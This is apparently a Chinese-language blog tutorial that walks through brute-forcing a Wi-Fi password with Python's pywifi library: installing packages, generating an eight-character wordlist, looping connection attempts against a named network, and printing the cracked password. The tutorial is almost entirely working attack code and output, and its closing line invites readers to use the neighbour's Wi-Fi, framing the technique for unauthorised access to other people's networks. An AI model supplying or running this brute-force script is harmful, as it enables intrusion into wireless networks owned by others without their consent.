一、安装库
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pywifi
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple comtypes
mac用户还需更新或安装下这个
pip install -U pyobjc
二、生成密码本
import itertools as its
chars = "zjk0"
pwds = its.product(chars, repeat=8)
pwd_dic = open("/Users/zjk/IdeaProjects/test_Python/resource/pwd/passwords.txt", "a")
for i in pwds:
pwd_dic.write("".join(i)+"\n")
pwd_dic.close()
print("密码本生成完毕")
三、傻瓜试密码
ssid - AP的名称 wifi的名称 auth - AP的认证算法 akm - AP的密钥管理类型 wifi的加密算法, cipher - AP的密码类型 key (optinoal) - AP的关键。如果无密码,则应该设置此项CIPHER_TYPE_NONE
import time
import pywifi
from pywifi import const
def wifiConnect(wifiname,wifipassword):
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
ifaces.disconnect()
time.sleep(0.5)
if ifaces.status() == const.IFACE_DISCONNECTED:
profile = pywifi.Profile()
profile.ssid = wifiname
profile.key = wifipassword
profile.akm.append(const.AKM_TYPE_UNKNOWN)
profile.auth = const.AUTH_ALG_OPEN
profile.cipher = const.CIPHER_TYPE_CCMP
ifaces.remove_all_network_profiles()
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
time.sleep(3)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
if __name__ == '__main__':
path = r'/Users/zjk/IdeaProjects/test_Python/resource/pwd/passwords.txt'
file = open(path, 'r')
print('开始破解:')
while True:
try:
wifipwd = file.readline()
bool = wifiConnect('密码九宫格', wifipwd)
if bool:
print('密码正确****' + wifipwd)
break
elif wifipwd !='' :
print('密码错误:' + wifipwd)
else:
print('破解结束')
break
except:
continue
file.close()
四、成功破解
开始破解:
密码错误:0zjk000z
密码错误:0zjk000j
密码错误:0zjk000k
密码错误:0zj0zzzz
密码错误:0zj0zzzj
密码正确****0zjk0000
破解结束
Process finished with exit code 0
快去用隔壁的wifi连连手👋吧,下期出最强破解Wi-Fi:虚拟机kali破解Wi-Fi握手包
|